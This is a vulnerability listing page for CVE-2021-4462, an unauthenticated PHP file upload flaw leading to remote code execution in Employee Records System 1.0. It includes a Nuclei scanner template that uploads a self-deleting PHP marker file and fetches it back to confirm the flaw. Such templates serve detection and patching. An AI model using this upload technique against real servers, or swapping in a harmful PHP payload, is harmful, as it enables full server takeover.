CVE-2021-4462: Employee Records System 1.0 - Unauthenticated File Upload RCE

2025-12-02 Employee Records System 1.0 PoC Public

Description

Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.

PoC

id: CVE-2021-4462

info:
  name: Employee Records System 1.0 - Unauthenticated File Upload RCE
  author: josephttd
  severity: critical
  description: |
    Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.
  impact: |
    Unauthenticated attackers can upload arbitrary PHP files via uploadID.php and achieve remote code execution, leading to complete server compromise.
  remediation: |
    Apply security patches or upgrade to a later version of Employee Records System.
  reference:
    - https://www.exploit-db.com/exploits/49596
    - https://www.sourcecodester.com/php/11393/employee-records-system.html
  classification:
    cvss-score: 9.8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cwe-id: CWE-434
    epss-score: 0.0319
    epss-percentile: 0.8745
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2021,employee-records,fileupload,rce,intrusive,vkev,vuln

variables:
  string: "CVE-2021-4462"
  filename: "{{to_lower(rand_base(5))}}.php"

http:
  - raw:
      - |
        POST /dashboard/uploadID.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="employee_ID"; filename="{{filename}}"
        Content-Type: image/png

        <?php echo md5("{{string}}");unlink(__FILE__); ?>
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

      - |
        GET /uploads/employees_ids/{{upload_filename}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: upload_filename
        part: body
        internal: true
        group: 1
        regex:
          - '"upload_filename":"([^"]+)"'

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "{{md5(string)}}")'
        condition: and
# digest: 4a0a0047304502202665158e4073d420545d85464978e545efd591c7ce02abb97a3f0968a634a6a6022100c8e901f65bf6432353bb223efd864782b151f4eae8b4e2e479f5308fd0697e70:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities